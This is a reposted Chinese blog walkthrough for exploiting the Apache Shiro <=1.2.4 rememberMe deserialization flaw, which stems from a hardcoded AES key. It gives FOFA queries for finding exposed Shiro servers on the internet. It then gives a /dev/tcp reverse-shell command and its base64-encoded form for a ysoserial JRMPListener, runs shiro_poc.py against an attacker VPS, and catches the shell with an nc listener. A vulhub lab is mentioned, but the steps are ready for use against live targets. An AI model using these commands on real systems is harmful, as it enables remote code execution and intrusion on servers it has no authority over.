Shiro反序列化<=1.2.4 复现
阅读原文时间:2022年04月13日阅读:1

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。   

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。该漏洞对shiro<=1.2.4的版本有影响。

环境搭建

https://github.com/vulhub/vulhub    docker环境

也可以在搜索引擎中找

FOFA

header="rememberme=deleteMe"、header="shiroCookie"

环境搭建难点

Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点

1.机器需要安装mvn、svn命令

2.jdk建议为1.6

3.maven版本最好为3.1.1

一键检测工具

https://github.com/sv3nbeast/ShiroScan

漏洞复现

需要2个利用漏洞工具加密

一个是shiro_poc.py   ,用于得到rememberMe

一个是maven,  用于加密监听执行命令

1.https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q

制作反弹shell 代码

使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

bash -I >& /dev/tcp ip/端口 0>&1

2.使用ysoserial中JRMP监听模块,监听6666端口 (不同字体就是上面编码后的命令)(注意标黄的位置,是工具名称,注意适时更换)

攻击机中执行命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'

如果没用ysoserial,可安装到shiro.py同目录

或者利用ysoserial进行编码

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

3.新建窗口,生成rememberme,  自己vps的ip,6666是上面ysoserial监听的端口

python shiro_poc.py vpsip:6666    得到rememberme  (注意这个rememberme是一次性的)

4.新建窗口,监听端口

nc -lvnp  端口  (端口是第1步反弹shell的端口,不是6666端口)

5..复制rememberMe到数据包,发送

返回200,有些环境会返回302

注意:删除session和空格

6.返回shell

文笔菜, 技术也菜 ,有什么问题可以留言,虽然我不会看。。。。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章